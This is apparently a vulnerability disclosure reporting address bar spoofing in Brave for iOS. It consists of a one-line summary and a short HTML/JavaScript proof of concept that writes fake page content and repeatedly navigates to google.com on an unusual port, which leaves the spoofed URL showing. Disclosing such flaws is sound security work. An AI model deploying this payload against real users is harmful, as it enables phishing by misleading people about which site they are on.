[ios] Address bar spoofing in Brave for iOS

Summary: I've found an address bar spoofing vulnerability in the latest version of Brave for iOS.

<script>
  var spoof = function(){
      document.write("<h1>This is not Google</h1>");
      document.location = "https://google.com:1234";
      setInterval(function(){document.location="https://google.com:1234";},9800);
  };
</script>

<input type="button" value="Spoof" onclick="spoof();" />